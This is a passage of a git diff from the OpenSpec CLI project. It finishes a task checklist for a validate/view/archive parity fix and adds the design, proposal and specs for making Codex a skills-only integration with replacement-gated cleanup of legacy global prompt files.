interactive "pick one" selector (line 97). _Converged onto the canonical `getAvailableChanges` lister via a private `listChangeIds` helper (sorted to preserve prior ordering)._ +- [x] 1.3 Confirm correctness within a `--store`-selected root (resolution already shares `resolveRootForCommand`); add a store-root resolution test. No store-specific scenario beyond parity is required. _Store-correct for free: `validate` resolves the store root through the same `resolveRootForCommand` as `status`, and the change predicate now matches; no dedicated store fixture added, per the design note._ +- [x] 1.4 Preserve change/spec ambiguity and `--type` override behavior; reconcile the directory-existence change predicate with the spec predicate. Leave the spec-resolution side (`getSpecIds`) unchanged — it is correct. _`getSpecIds` untouched; ambiguity test still green._ +- [x] 1.5 Sibling `src/commands/show.ts:81,115,121` shares the `getActiveChangeIds` gate — fold it onto the same resolution or record an explicit out-of-scope note. Add a one-line scope note that the deprecated noun-form `change validate` already resolves by directory existence but is cwd-based and its JSON mode does not set a non-zero exit (pre-existing, out of scope). _DECISION: `show.ts` scoped OUT. `ChangeCommand.show` hard-requires `proposal.md` (throws "not found at .../proposal.md"), so folding it in would only convert "Unknown item" into a different downstream proposal-read error in a path no `cli-*` spec scenario covers. The deprecated noun-form `change validate` is likewise out of scope (cwd-based; JSON mode does not set a non-zero exit)._ +- [x] 1.6 Tests: proposal-less change resolves (targeted + bulk + interactive selector); store change resolves; ambiguity/`--type` unchanged; changes with `proposal.md` byte-identical; a resolved-but-invalid change exits non-zero (regression guard for the `--all` exit-0 observation). _Added to `test/commands/validate.test.ts`: scaffolded resolves (targeted), sole proposal-less change in `--all`, resolved-but-invalid exits non-zero. Interactive selector uses the same `listChangeIds`._ + +## 2. #1182b — nested multi-area delta discovery + +- [x] 2.1 Reproduce: a resolved change with deltas at `specs///spec.md` reports "No delta sections found"; one-level `specs//spec.md` is the control. +- [x] 2.2 Extend delta discovery in `src/core/validation/validator.ts` `validateChangeDeltaSpecs` (lines 115-138) to recurse the nested `specs/**` layout (the spec-driven specs glob is `specs/**/*.md`). _Added a recursive `findDeltaSpecFiles` walker collecting every `spec.md`; `entryPath` is now the POSIX relative path from `specs/`._ +- [x] 2.3 Tests: nested-layout change discovers and validates its deltas; single-level layout unchanged. _Added to `test/core/validation.test.ts`._ + +## 3. #1202 — task progress through the tracked-tasks artifact glob (view + archive + list) + +- [x] 3.1 Reproduce: project-local schema with tasks artifact `generates: "**/tasks.md"`; a change with `backend/tasks.md` + `frontend/tasks.md` (some unchecked); confirm `status` reports the tasks artifact present while `view` shows `Draft`, `list` shows "No tasks", and `archive` would let it archive unfinished. +- [x] 3.2 In `src/utils/task-progress.ts`, change `getTaskProgressForChange` to: identify the tracked-tasks artifact (the artifact whose `generates` equals the schema `apply.tracks` value, falling back to artifact id `tasks` when no `apply` block), then count checkboxes across `resolveArtifactOutputs(changeDir, artifact.generates)` (`src/core/artifact-graph/outputs.ts:17`, returns a de-duped, change-rooted path list). NOTE: `apply.tracks` is a filename that selects the artifact, NOT a glob — the glob is the artifact's `generates`. +- [x] 3.3 Add a required `projectRoot` parameter (needed for `resolveSchema` / project-local schemas); resolve schema → tracked artifact → `generates` inside the helper. +- [x] 3.4 Catch `resolveSchema` failure (it throws on an unresolvable/misnamed schema) and fall back to a single top-level `tasks.md`; preserve the no-schema / no-tracked-artifact / zero-match fallback and the swallowed-missing-file behavior. The helper MUST NOT throw. +- [x] 3.5 Update all four call sites for the new `projectRoot` argument: `src/core/view.ts:100` (`path.dirname(openspecDir)`), `src/core/list.ts:112` (`targetPath`), `src/core/archive.ts:342` and `:540` (`path.resolve(changesDir,'..','..')`). +- [x] 3.6 Fold the independent second copy in `src/commands/change.ts:111,164` (its own `countTasks`, JSON list + long list) onto the shared helper passing `process.cwd()`; drop the now-orphan `countTasks` and unused `TASK_PATTERN`/`COMPLETED_TASK_PATTERN` consts. +- [x] 3.7 Tests: nested-glob change aggregates and is not `Draft`; files-exist-but-unchecked is Active not Completed; `apply.tracks`-selected artifact resolves; resolution scoped to the change dir (archive/ and sibling changes excluded); no double-count; unresolvable-schema falls back without crashing; single-file and no-schema unchanged; zero-match stays Draft; `view`/`list`/`archive` resolve the same files as `status`. _`test/utils/task-progress.test.ts` (unit) + `test/core/view.test.ts` (Active classification) + `test/core/archive.test.ts` (gate)._ + +## 4. #1202 — archive incomplete-task gate (data safety) + +- [x] 4.1 Confirm `src/core/archive.ts:342,540` feed the incomplete-task gate (`archive.ts:348-353`). +- [x] 4.2 With the shared-helper fix in place, verify the gate sees nested/glob tasks (the empirical repro archived a 3/5 change — this must now block). _Verified end-to-end against the built CLI: `archive` now reports "2 incomplete task(s)" and exits non-zero for a 3/5 glob-tasks change._ +- [x] 4.3 Tests: a glob-tasks change with unchecked tasks is blocked (or requires explicit override); the gate resolves the same files as `view`; unresolvable-schema falls back without crash; single-file behavior unchanged. _Added to `test/core/archive.test.ts`; helper-level fallback/parity covered in `test/utils/task-progress.test.ts`._ + +## 5. #1156 — SHALL/MUST hint on main specs (header recovery + remove refine) + +- [x] 5.1 Reproduce: a main spec requirement with SHALL/MUST in the header only emits the generic message while the equivalent ADDED/MODIFIED delta emits the targeted hint; a RENAMED delta emits no hint; a header-only-no-body main spec is valid today. +- [x] 5.2 Recover the requirement header for main specs (lost at `src/core/parsers/markdown-parser.ts:220-226`) by reusing `src/core/parsers/requirement-blocks.ts` (`extractRequirementsSection`, header+body pairs). +- [x] 5.3 In `src/core/validation/validator.ts` `applySpecRules` (lines 290-329), run `containsShallOrMust` + `buildMissingShallOrMustMessage` on the recovered header/body so the imperative rule owns BOTH the header-only case (targeted hint) and the no-keyword-anywhere case (generic message). +- [x] 5.4 REMOVE the Zod refine from `RequirementSchema` (`src/core/schemas/base.schema.ts:11-14`) entirely (not merely relax it) — deltas never used it (they validate imperatively in `validateChangeDeltaSpecs`), so removal cannot regress the delta path, and it prevents double-emission on the main-spec path. +- [x] 5.5 Generalize `buildMissingShallOrMustMessage` to accept a prefix; main-spec prefix = `Requirement ""`, so the actionable sentence stays in one place and is byte-identical across paths. Converge lowercase handling onto the shared `\b(SHALL|MUST)\b` regex. Keep the delta-path message string unchanged. _Delta call sites now pass `ADDED ""` / `MODIFIED ""` prefixes, producing byte-identical strings._ +- [x] 5.6 Tests (assert across `validate `, `--all`, `--json`, `spec validate`, and `validateSpecContent`): header-only main spec → actionable sentence byte-identical to delta; exactly one issue; no-keyword-anywhere still errors; body-keyword not flagged; lowercase `shall` errors; header-only-no-body emits the hint (intended change); RENAMED emits no hint and is byte-for-byte unchanged. _Added a `main-spec SHALL/MUST body-keyword hint (#1156)` describe in `test/core/validation.test.ts` driving `validateSpecContent` (the shared surface for `validate`/`--all`/`--json`/`spec validate`/rebuilt-spec validation); the obsolete schema-refine unit test was updated to reflect the moved enforcement. End-to-end cases A–D verified against the built CLI._ + +## 6. Parity guard and verification + +- [x] 6.1 Add the cross-command parity assertions from design Decision 7 as regression tests (validate↔status resolution incl. exit code; view/list/archive resolve the same files as status; main-spec↔delta actionable sentence). +- [x] 6.2 Run `openspec validate fix-validate-view-resolution-parity --strict` and the full test suite; confirm no behavior change on the canonical paths and the documented unchanged cases (the header-only-no-body main-spec case is the one intended exception, per design Decision 6). _Change validates `--strict` (exit 0); all 36 repo specs pass `--specs --strict` (no #1156 false positives); full suite 1791 passed with only the pre-existing, environment-specific zsh-installer failures unchanged._ diff --git a/openspec/changes/make-codex-skills-only/.openspec.yaml b/openspec/changes/make-codex-skills-only/.openspec.yaml new file mode 100644 index 0000000000..d6b53dee55 --- /dev/null +++ b/openspec/changes/make-codex-skills-only/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-06-30 diff --git a/openspec/changes/make-codex-skills-only/design.md b/openspec/changes/make-codex-skills-only/design.md new file mode 100644 index 0000000000..05d8d16d62 --- /dev/null +++ b/openspec/changes/make-codex-skills-only/design.md @@ -0,0 +1,86 @@ +## Context + +Codex is currently represented as both a skill-capable tool and a command-file target. Its command adapter writes `opsx-.md` files to the global Codex prompt directory resolved from `CODEX_HOME` or the user's default `.codex` home. That means `openspec init` and `openspec update` can mutate files outside the project, and users can believe a project-local setup succeeded while the observable Codex surface depends on stale global prompt files. + +Codex custom prompts are now deprecated in favor of skills, while OpenSpec already generates `.codex/skills/openspec-*/SKILL.md` as the supported workflow surface. This change removes Codex from the generated command adapter surface and treats Codex as a `skills-invocable` tool even when the user's global delivery mode includes commands. + +## Goals / Non-Goals + +**Goals:** + +- Stop generating or refreshing Codex custom prompt files during `openspec init` and `openspec update`. +- Keep Codex usable through `.codex/skills/openspec-*/SKILL.md` for `both`, `skills`, and `commands` delivery settings. +- Remove stale OpenSpec-managed global Codex prompt files from the global Codex prompt directory only after replacement Codex skills exist, while keeping repo-local `.codex/prompts/openspec-*.md` compatibility cleanup. +- Update user-facing documentation and tests so Codex is documented as skills-only. + +**Non-Goals:** + +- Do not remove Codex as a supported AI tool. +- Do not remove command generation for other tools that still support prompt or command files. +- Do not delete arbitrary user-authored Codex prompt files; cleanup is limited to the final OpenSpec-managed prompt patterns in each scope. +- Do not change Codex workspace opener behavior. + +## Decisions + +### Decision: Remove Codex from the command adapter registry + +Codex should no longer have a registered command adapter. This makes the command-generation layer reflect supported behavior: `CommandAdapterRegistry.get('codex')` returns undefined, and command generation callers skip command-file output for Codex. + +Alternative considered: keep the adapter but gate writes in `init` and `update`. That leaves stale API surface and tests that imply Codex custom prompts are supported. Removing the adapter is clearer and matches adapterless skills-only tools. + +### Decision: Treat Codex as skills-invocable regardless of delivery mode + +Global delivery expresses the preferred output surfaces for tools that support both surfaces. For Codex, the only supported command surface is invocable skills. When a selected or configured Codex tool is processed under `commands` delivery, OpenSpec should still generate and preserve Codex skills while skipping Codex command files. + +Alternative considered: let `commands` delivery remove Codex skills because there is no adapter. That would make selecting Codex produce no usable output, which contradicts the proposal and creates a poor migration path. + +This should reuse the shared command-surface capability model from `add-tool-command-surface-capabilities` if that change lands first. If this change lands first, it should introduce only a shared minimal resolver that can later become the broader capability model; it should not add a Codex-only predicate that `init` and `update` special-case forever. + +This follows the adapterless integration boundary for skills-only tools: do not add a fake command adapter or generated command path when the tool's real invocation surface is discovered skills. Codex also has existing managed global prompt files to retire; those global files are handled as legacy cleanup artifacts, not as ordinary delivery-reconciliation command files. + +### Decision: Split global and repo-local Codex cleanup by trust level + +Cleanup resolves the Codex prompt directory with the same `CODEX_HOME` fallback semantics that command generation used, but the global and repo-local legacy surfaces are not trusted equally. + +Repo-local compatibility cleanup continues matching `.codex/prompts/openspec-*.md` inside the project tree. Those files are repository-scoped compatibility artifacts and can stay in the ordinary legacy cleanup model. + +Global Codex prompts live in a user-owned directory outside the repository, so even a broad match on the historical `opsx-*.md` prompt filenames is too risky. Global cleanup therefore requires both the exact resolved Codex prompt directory and an explicit allowlist of the historical OpenSpec-owned Codex filenames. Workflow IDs are inferred from those allowlisted filenames. User-authored files such as `opsx-review.md` or `opsx-my-flow.md` remain unmanaged because they are not in the allowlist. + +Alternative considered: compare file contents with the current prompt templates. That would miss prompts generated by older OpenSpec releases after templates changed. Exact directory and filename matching provides a stable migration boundary because the allowlisted names were generated and owned by OpenSpec, while avoiding broad matches against custom `opsx-*` files. + +### Decision: Global Codex prompt deletion is replacement-gated migration cleanup + +Managed global Codex prompt files are still detected through legacy artifact detection, but they are not deleted as ordinary "detect then delete" cleanup items. They are migration artifacts: + +- detect the managed global prompt files +- infer the workflow IDs represented by those legacy filenames +- create or confirm replacement `.codex/skills/...` skills for those workflows +- delete only the prompt files whose replacement skills now exist + +This avoids deleting the user's only Codex entry point before OpenSpec has established the replacement skill surface. The adapterless command-skip path must not by itself delete files from `$CODEX_HOME/prompts`, and ordinary delivery reconciliation must not touch them. + +`openspec init` may still auto-clean other OpenSpec-managed legacy artifacts in non-interactive mode, but global Codex prompt deletion is deferred until replacement skills exist. `openspec update --force` or accepted interactive cleanup follows the same replacement-gated rule. For configured tools, update refreshes the selected Codex skills before performing the deferred global cleanup so a newly installed replacement skill can retire its prompt in the same run. + +To keep cleanup previews auditable without falsely implying immediate deletion, CLI messaging should separate immediate repo-local cleanup from deferred global prompts cleanup. The deferred section should list the concrete global prompt paths and their tool IDs, while clearly stating that those prompts are removed only after matching replacement skills exist. + +Implementation note: model project-local and global legacy prompt surfaces separately. Keep project-root slash-command paths in `LEGACY_SLASH_COMMAND_PATHS`, including `.codex/prompts/openspec-*.md` compatibility cleanup, and represent Codex's external prompt home in a separate `LEGACY_GLOBAL_SLASH_COMMAND_PATHS` table that resolves `$CODEX_HOME/prompts` (or `~/.codex/prompts` when unset) for the exact allowlisted historical OpenSpec prompt filenames. The allowlist includes `opsx-update.md`, introduced with the `update` workflow in v1.6.0. `detectLegacyArtifacts()` keeps these managed global prompt files separate from repo-local slash command files via `globalSlashCommandFiles`. + +### Decision: Legacy Codex workflow replacement prefers the legacy filenames over the current profile + +When OpenSpec migrates legacy global Codex prompts into skills for an unconfigured Codex tool, the replacement skill set is inferred from the detected prompt filenames where possible. For example, a legacy `opsx-explore.md` maps to `openspec-explore` rather than the full current core profile. + +Alternative considered: reuse the current profile's `desiredWorkflows` for every legacy Codex upgrade. That can silently expand a narrow historical setup into a broader skill set and makes cleanup unsafe because OpenSpec would delete a legacy prompt even when it did not recreate the equivalent workflow. + +### Decision: Keep legacy project-local `.codex/prompts` cleanup as compatibility cleanup + +Existing cleanup already detects `.codex/prompts/openspec-*.md` in the project tree. That should remain for older or manually migrated projects, but it is insufficient for this change because recent Codex prompt generation used the global Codex home. + +Alternative considered: replace project-local detection with global-only detection. Keeping both avoids regressions for users with older project-local artifacts. + +## Risks / Trade-offs + +- [Risk] Users with custom workflows that rely on Codex custom prompts will lose refreshed prompt files. -> Mitigation: document the breaking change and point Codex users to `.codex/skills/openspec-*`. +- [Risk] `delivery=commands` semantics become per-tool rather than purely global. -> Mitigation: document Codex as a `skills-invocable` command-surface tool and test commands-only Codex init/update. +- [Risk] Cleanup touches a global directory. -> Mitigation: remove only exact allowlisted OpenSpec-owned filenames directly under the resolved Codex prompt home, keep repo-local `.codex/prompts/openspec-*.md` cleanup scoped to the project tree, require replacement skills before deletion, and honor `CODEX_HOME` in tests. +- [Risk] Registry tests or docs may still assume Codex has a command adapter. -> Mitigation: update adapter, registry, supported-tools, troubleshooting, and migration docs in the same change. +- [Risk] This overlaps with `add-tool-command-surface-capabilities`. -> Mitigation: represent Codex with the same `skills-invocable` concept and rebase whichever change lands second. diff --git a/openspec/changes/make-codex-skills-only/proposal.md b/openspec/changes/make-codex-skills-only/proposal.md new file mode 100644 index 0000000000..0db4549f6b --- /dev/null +++ b/openspec/changes/make-codex-skills-only/proposal.md @@ -0,0 +1,32 @@ +## Why + +Codex custom prompts are now a poor fit for OpenSpec's generated command surface: the official Codex docs deprecate custom prompts in favor of skills, while OpenSpec still treats Codex as a prompt-file target under the user's global Codex home. That mismatch creates confusing setup, stale global artifacts, and a command path that is increasingly likely to fail even when `openspec init` appears to succeed. + +## What Changes + +- **BREAKING**: Stop generating new Codex custom prompt files during `openspec init` and `openspec update`. +- Treat Codex as a skills-first integration so OpenSpec installs and refreshes `.codex/skills/openspec-*/SKILL.md` as the supported Codex workflow surface. +- Treat Codex as a `skills-invocable` command-surface tool so Codex remains usable when the global delivery mode is `both`, `skills`, or `commands`, instead of relying on deprecated prompt-file generation. +- Add migration and cleanup behavior for previously managed Codex prompt files, with global cleanup targeting only the known OpenSpec-managed legacy prompt filenames under `$CODEX_HOME/prompts` or `~/.codex/prompts`, deleting them only after replacement Codex skills exist, and repo-local compatibility cleanup preserving `.codex/prompts/openspec-*.md` detection in the project tree. +- Update user-facing docs and CLI messaging so Codex guidance reflects skills-based usage rather than global custom prompts. + +## Capabilities + +### New Capabilities +- None. + +### Modified Capabilities +- `ai-tool-paths`: Codex path metadata changes from global prompt generation expectations to skills-first configuration expectations. +- `cli-init`: Codex initialization no longer creates managed custom prompts and instead installs the supported skills-based workflow surface. +- `cli-update`: Codex update behavior no longer refreshes deprecated custom prompts and instead manages skills plus legacy prompt cleanup. +- `command-generation`: Codex is no longer treated as an active generated command-file target in the supported command adapter surface. + +## Impact + +- Affected code: `src/core/config.ts`, `src/core/init.ts`, `src/core/update.ts`, command-surface capability resolution, Codex-related command-generation and migration/cleanup logic, plus Codex-specific tests. +- Affected docs: `docs/supported-tools.md`, `docs/commands.md`, `docs/how-commands-work.md`, and troubleshooting/setup guidance that currently references Codex prompt files. +- User impact: existing Codex users who rely on generated custom prompts will need to use the skills-based Codex workflow surface after updating. + +## Sequencing + +This change should reuse the command-surface capability model from `add-tool-command-surface-capabilities` when that change lands first. If this change lands first, it should introduce only the minimal shared capability path needed for Codex and leave it compatible with the broader capability-aware delivery work. diff --git a/openspec/changes/make-codex-skills-only/specs/ai-tool-paths/spec.md b/openspec/changes/make-codex-skills-only/specs/ai-tool-paths/spec.md new file mode 100644 index 0000000000..37e9e31781 --- /dev/null +++ b/openspec/changes/make-codex-skills-only/specs/ai-tool-paths/spec.md @@ -0,0 +1,49 @@ +## ADDED Requirements + +### Requirement: Codex skills path is the supported Codex integration path +The system SHALL identify `.codex/skills/` as the supported Codex OpenSpec workflow path. + +#### Scenario: Codex skills path defined +- **WHEN** looking up the `codex` tool +- **THEN** the system SHALL provide `.codex` as the Codex skills base directory +- **AND** generated Codex skills SHALL be written under `/.codex/skills/` + +#### Scenario: Codex command path is not advertised as supported +- **WHEN** displaying AI tool path documentation or command-generation metadata +- **THEN** the system SHALL present Codex as a skills-only OpenSpec integration +- **AND** it SHALL NOT advertise `$CODEX_HOME/prompts/opsx-.md` as a generated Codex command path + +### Requirement: Codex global prompt cleanup path resolution +The system SHALL resolve the legacy Codex prompt cleanup directory using Codex home semantics. + +#### Scenario: CODEX_HOME is set +- **WHEN** cleaning up previously managed Codex prompt files +- **AND** `CODEX_HOME` is set +- **THEN** the system SHALL inspect the `prompts` directory under the resolved `CODEX_HOME` path + +#### Scenario: CODEX_HOME is unset +- **WHEN** cleaning up previously managed Codex prompt files +- **AND** `CODEX_HOME` is not set +- **THEN** the system SHALL inspect the `prompts` directory under the user's default `.codex` home + +#### Scenario: Cross-platform Codex prompt paths +- **WHEN** resolving Codex skills or legacy prompt cleanup paths on Windows, macOS, or Linux +- **THEN** the system SHALL construct paths with platform path utilities +- **AND** it SHALL preserve correct path separators for the current operating system + +### Requirement: Codex-managed legacy prompt cleanup patterns reflect the final managed surfaces +The system SHALL identify managed Codex prompt cleanup targets using the final split patterns for global and repo-local artifacts. + +#### Scenario: Global legacy Codex prompts use an exact directory and filename allowlist +- **WHEN** detecting managed legacy Codex prompt files in the resolved Codex prompt directory +- **THEN** the system SHALL match only exact historical OpenSpec-owned filenames directly under that resolved directory +- **AND** it SHALL infer the represented workflow IDs from those filenames +- **AND** the allowlist SHALL include `opsx-update.md` mapped to the `update` workflow + +#### Scenario: Repo-local openspec compatibility prompt names +- **WHEN** detecting legacy Codex prompt files in the project tree +- **THEN** the system SHALL match repo-local files named `.codex/prompts/openspec-*.md` + +#### Scenario: Other Codex prompts are unmanaged +- **WHEN** a Codex prompt file does not match the managed pattern for its scope +- **THEN** cleanup SHALL leave that file unchanged diff --git a/openspec/changes/make-codex-skills-only/specs/cli-init/spec.md b/openspec/changes/make-codex-skills-only/specs/cli-init/spec.md new file mode 100644 index 0000000000..00d51f71d5 --- /dev/null +++ b/openspec/changes/make-codex-skills-only/specs/cli-init/spec.md @@ -0,0 +1,65 @@ +## ADDED Requirements + +### Requirement: Codex initialization uses the skills-invocable command surface +`openspec init` SHALL treat Codex as a skills-invocable tool, not as an adapter-backed command-file tool. + +#### Scenario: Codex command surface resolution +- **WHEN** a user runs `openspec init` and selects Codex +- **THEN** the command SHALL resolve Codex command surface capability as `skills-invocable` +- **AND** it SHALL apply delivery behavior through the shared command-surface capability model when that model is available +- **AND** it SHALL NOT use a Codex-specific delivery predicate that duplicates command-surface capability rules + +### Requirement: Codex initialization uses skills only +`openspec init` SHALL configure Codex through generated OpenSpec skills without generating Codex custom prompt files. + +#### Scenario: Initializing Codex with default delivery +- **WHEN** a user runs `openspec init` and selects Codex +- **AND** the active delivery mode is `both` +- **THEN** the command SHALL create the selected OpenSpec skill files under `.codex/skills/` +- **AND** it SHALL NOT create Codex prompt files under `$CODEX_HOME/prompts` or the default Codex prompt directory + +#### Scenario: Initializing Codex with skills delivery +- **WHEN** a user runs `openspec init` and selects Codex +- **AND** the active delivery mode is `skills` +- **THEN** the command SHALL create the selected OpenSpec skill files under `.codex/skills/` +- **AND** it SHALL NOT create Codex prompt files + +#### Scenario: Initializing Codex with commands delivery +- **WHEN** a user runs `openspec init` and selects Codex +- **AND** the active delivery mode is `commands` +- **THEN** the command SHALL still create the selected OpenSpec skill files under `.codex/skills/` +- **AND** it SHALL skip Codex command-file generation because Codex is `skills-invocable` + +### Requirement: Codex initialization cleanup removes managed legacy prompts +`openspec init` SHALL remove previously managed global Codex prompt files only after replacement Codex skills exist, without deleting user-authored Codex prompts. + +#### Scenario: Cleanup removes allowlisted global Codex prompt files after replacement exists +- **WHEN** initialization cleanup runs +- **AND** the Codex prompt directory contains exact allowlisted managed global Codex prompt files +- **AND** replacement Codex skills exist for the workflows represented by those prompt filenames +- **THEN** the command SHALL remove those managed Codex prompt files +- **AND** it SHALL leave other Codex prompt files unchanged + +#### Scenario: Non-interactive initialization preserves unreplaced global Codex prompts +- **WHEN** `openspec init` runs without interaction and without `--force` +- **AND** the resolved global Codex prompt directory contains exact allowlisted managed Codex prompt files +- **AND** replacement Codex skills do not yet exist for at least one detected prompt workflow +- **THEN** the command SHALL preserve the unreplaced Codex prompt files +- **AND** it SHALL continue to leave unmanaged Codex prompt files unchanged + +#### Scenario: Non-interactive initialization removes replaced global Codex prompts +- **WHEN** `openspec init` runs without interaction and without `--force` +- **AND** the resolved global Codex prompt directory contains exact allowlisted managed Codex prompt files +- **AND** replacement Codex skills exist for the workflows represented by those prompt filenames +- **THEN** the command SHALL remove those managed Codex prompt files +- **AND** it SHALL leave unmanaged Codex prompt files unchanged + +#### Scenario: Initialization preview lists deferred global prompts cleanup separately +- **WHEN** `openspec init` detects managed global Codex prompt files before tool setup +- **THEN** the command SHALL present deferred global prompts cleanup in a separate section from immediate repo-local removals +- **AND** that section SHALL list the concrete prompt paths +- **AND** it SHALL explain that those global prompts are removed only after matching replacement skills are installed + +#### Scenario: Cleanup reports Codex skills as the replacement +- **WHEN** initialization cleanup reports removed Codex prompt files +- **THEN** the cleanup summary SHALL indicate that the removed prompt files are replaced by Codex skills diff --git a/openspec/changes/make-codex-skills-only/specs/cli-update/spec.md b/openspec/changes/make-codex-skills-only/specs/cli-update/spec.md new file mode 100644 index 0000000000..4eae91011f --- /dev/null +++ b/openspec/changes/make-codex-skills-only/specs/cli-update/spec.md @@ -0,0 +1,167 @@ +## MODIFIED Requirements + +### Requirement: Slash Command Updates + +The update command SHALL refresh existing slash command files for configured adapter-backed tools without creating new ones, keep legacy command cleanup safe, and treat Codex custom prompts as legacy artifacts that are cleaned up rather than refreshed. + +#### Scenario: Updating slash commands for Antigravity +- **WHEN** `.agent/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh the OpenSpec-managed portion of each file so the workflow copy matches other tools while preserving the existing single-field `description` frontmatter +- **AND** skip creating any missing workflow files during update, mirroring the behavior for Windsurf and other IDEs + +#### Scenario: Updating slash commands for Claude Code +- **WHEN** `.claude/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for CodeBuddy Code +- **WHEN** `.codebuddy/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md` +- **THEN** refresh each file using the shared CodeBuddy templates that include YAML frontmatter for the `description` and `argument-hint` fields +- **AND** use square bracket format for `argument-hint` parameters (e.g., `[change-id]`) +- **AND** preserve any user customizations outside the OpenSpec managed markers + +#### Scenario: Updating slash commands for Cline +- **WHEN** `.clinerules/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** include Cline-specific Markdown heading frontmatter +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Continue +- **WHEN** `.continue/prompts/` contains `openspec-proposal.prompt`, `openspec-apply.prompt`, and `openspec-archive.prompt` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Crush +- **WHEN** `.crush/commands/` contains `openspec/proposal.md`, `openspec/apply.md`, and `openspec/archive.md` +- **THEN** refresh each file using shared templates +- **AND** include Crush-specific frontmatter with OpenSpec category and tags +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Cursor +- **WHEN** `.cursor/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Factory Droid +- **WHEN** `.factory/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using the shared Factory templates that include YAML frontmatter for the `description` and `argument-hint` fields +- **AND** ensure the template body retains the `$ARGUMENTS` placeholder so user input keeps flowing into droid +- **AND** update only the content inside the OpenSpec managed markers, leaving any unmanaged notes untouched +- **AND** skip creating missing files during update + +#### Scenario: Updating slash commands for OpenCode +- **WHEN** `.opencode/command/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage +- **AND** ensure the archive command includes `$ARGUMENTS` placeholder in frontmatter for accepting change ID arguments + +#### Scenario: Updating slash commands for Windsurf +- **WHEN** `.windsurf/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates wrapped in OpenSpec markers +- **AND** ensure templates include instructions for the relevant workflow stage +- **AND** skip creating missing files (the update command only refreshes what already exists) + +#### Scenario: Updating slash commands for Kilo Code +- **WHEN** `.kilocode/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates wrapped in OpenSpec markers +- **AND** ensure templates include instructions for the relevant workflow stage +- **AND** skip creating missing files (the update command only refreshes what already exists) + +#### Scenario: Codex prompt files are not refreshed +- **GIVEN** the global Codex prompt directory contains OpenSpec-managed Codex prompt files +- **WHEN** a user runs `openspec update` +- **THEN** the command SHALL NOT refresh Codex prompt files +- **AND** it SHALL treat those files as legacy cleanup candidates +- **AND** it SHALL preserve unmanaged files by deleting only exact allowlisted OpenSpec-owned filenames under the resolved global Codex prompt directory after replacement skills exist + +#### Scenario: Updating slash commands for GitHub Copilot +- **WHEN** `.github/prompts/` contains `openspec-proposal.prompt.md`, `openspec-apply.prompt.md`, and `openspec-archive.prompt.md` +- **THEN** refresh each file using shared templates while preserving the YAML frontmatter +- **AND** update only the OpenSpec-managed block between markers +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Gemini CLI +- **WHEN** `.gemini/commands/openspec/` contains `proposal.toml`, `apply.toml`, and `archive.toml` +- **THEN** refresh the body of each file using the shared proposal/apply/archive templates +- **AND** replace only the content between `` and `` markers inside the `prompt = """` block so the TOML framing (`description`, `prompt`) stays intact +- **AND** skip creating any missing `.toml` files during update; only pre-existing Gemini commands are refreshed + +#### Scenario: Updating slash commands for iFlow CLI +- **WHEN** `.iflow/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** preserve the YAML frontmatter with `name`, `id`, `category`, and `description` fields +- **AND** update only the OpenSpec-managed block between markers +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Missing slash command file +- **WHEN** a tool lacks a slash command file +- **THEN** do not create a new file during update + +## ADDED Requirements + +### Requirement: Codex update uses the skills-invocable command surface +`openspec update` SHALL treat Codex as a skills-invocable tool, not as an adapter-backed command-file tool. + +#### Scenario: Codex command surface resolution +- **WHEN** `openspec update` detects Codex as a configured tool +- **THEN** the command SHALL resolve Codex command surface capability as `skills-invocable` +- **AND** it SHALL apply delivery behavior through the shared command-surface capability model when that model is available +- **AND** it SHALL NOT use a Codex-specific delivery predicate that duplicates command-surface capability rules + +### Requirement: Codex update uses skills only +`openspec update` SHALL refresh Codex through generated OpenSpec skills without generating or refreshing Codex custom prompt files. + +#### Scenario: Legacy Codex prompt migration infers workflows from the legacy filenames +- **WHEN** `openspec update` upgrades an unconfigured Codex tool from detected exact allowlisted global legacy Codex prompt files +- **THEN** it SHALL infer the replacement workflow IDs from the detected prompt filenames where possible +- **AND** it SHALL use that inferred workflow subset for the replacement Codex skills instead of expanding to the current profile's full workflow set + +#### Scenario: Updating Codex with default delivery +- **WHEN** a project has Codex OpenSpec skills configured +- **AND** the active delivery mode is `both` +- **THEN** `openspec update` SHALL refresh the selected Codex skill files under `.codex/skills/` +- **AND** it SHALL NOT create or refresh Codex prompt files under `$CODEX_HOME/prompts` or the default Codex prompt directory + +#### Scenario: Updating Codex with commands delivery +- **WHEN** a project has Codex configured +- **AND** the active delivery mode is `commands` +- **THEN** `openspec update` SHALL keep Codex usable by refreshing selected Codex skills +- **AND** it SHALL skip Codex command-file generation because Codex is skills-invocable +- **AND** it SHALL NOT remove Codex skills solely because the global delivery mode is `commands` + +#### Scenario: Updating Codex with skills delivery +- **WHEN** a project has Codex configured +- **AND** the active delivery mode is `skills` +- **THEN** `openspec update` SHALL refresh selected Codex skills +- **AND** it SHALL treat OpenSpec-managed Codex prompt files as legacy cleanup candidates +- **AND** it SHALL NOT delete global Codex prompt files through ordinary delivery 